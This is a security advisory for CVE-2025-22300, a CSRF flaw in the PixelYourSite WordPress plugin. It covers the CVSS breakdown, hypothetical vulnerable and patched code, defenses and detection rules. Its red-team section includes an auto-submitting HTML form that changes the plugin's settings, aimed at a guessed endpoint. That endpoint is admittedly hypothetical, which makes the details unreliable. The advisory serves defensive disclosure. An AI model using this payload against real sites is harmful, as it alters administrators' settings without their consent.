CVE-2025-22300

Executive Summary

CVE-2025-22300 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the PixelYourSite – Your smart PIXEL (TAG) Manager WordPress plugin, versions up to and including 10.0.1.2. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious tags, without their consent. The vulnerability is classified as Medium severity (CVSS 5.4) and requires user interaction (e.g., clicking a crafted link). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As such, it impacts the WordPress ecosystem directly. Users are advised to monitor the plugin’s update channel for a patched version. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is Medium due to the requirement for user interaction and the limited impact on integrity and availability. However, in a WordPress context, a successful CSRF attack could lead to unauthorized changes to tracking pixels, potentially exfiltrating sensitive data or injecting malicious scripts.

Deep Dive & Mechanics

The vulnerability exists because the plugin fails to implement proper CSRF tokens or nonces on sensitive administrative actions. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s settings endpoint. This could allow the attacker to:

• Modify the PixelYourSite configuration (e.g., change tracking IDs).
• Inject arbitrary JavaScript or tracking pixels.
• Disable security features or logging.

The attack does not require authentication from the attacker, only that the victim is logged into WordPress. The lack of CSRF protection means the plugin trusts any request that appears to come from an authenticated user.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks a nonce check in functions handling settings updates. A typical fix would involve adding a wp_nonce_field() and check_admin_referer() call in the plugin’s admin pages.

Vulnerable code example (hypothetical):

function save_settings() {
    update_option('pixelyoursite_settings', $_POST['settings']);
}

Patched code example (hypothetical):

function save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'pixelyoursite_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('pixelyoursite_settings', $_POST['settings']);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: A WordPress site with PixelYourSite plugin <= 10.0.1.2 and an authenticated admin session.
2. Craft the CSRF payload: Create an HTML page that auto-submits a form to the vulnerable endpoint.
3. Deliver the payload: Send the page via email or host it on a malicious site, tricking the admin into visiting it.

Example CSRF HTML payload:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=pixelyoursite_save" method="POST">
    <input type="hidden" name="settings[pixel_id]" value="EVIL_PIXEL_ID" />
    <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Defense & Detection)

• Monitor for unusual admin actions: Log all changes to plugin settings.
• Implement CSRF tokens: Ensure all admin forms include nonces.
• User education: Train admins to avoid clicking suspicious links while logged in.
• Web Application Firewall (WAF): Deploy rules to block requests with missing or invalid referer headers.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-post.php with action=pixelyoursite_save and unexpected settings parameters.
• File: Modified plugin options in the wp_options table (e.g., pixelyoursite_settings).
• Log: WordPress debug logs showing unexpected admin actions without corresponding nonce validation.
• Behavior: Sudden changes to tracking pixel IDs or injection of unknown JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_22300_CSRF_Payload {
    meta:
        description = "Detects CSRF payload targeting PixelYourSite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22300"
    strings:
        $form = "admin-post.php?action=pixelyoursite_save" nocase
        $pixel = "pixelyoursite" nocase
    condition:
        $form and $pixel
}

Sigma Rule

title: CVE-2025-22300 CSRF Attempt on PixelYourSite
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting PixelYourSite settings without proper CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-post.php?action=pixelyoursite_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22300 CSRF Attempt on PixelYourSite"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"admin-post.php"; content:"action=pixelyoursite_save"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the PixelYourSite plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with action=pixelyoursite_save unless a valid nonce is present.
3. Long-term: Apply the vendor’s patch once available. If no patch is forthcoming, consider replacing the plugin with an alternative.
4. General: Enforce the use of CSRF tokens in all WordPress admin forms. Regularly audit plugins for security updates.

Valters IT
Securing Digital Frontiers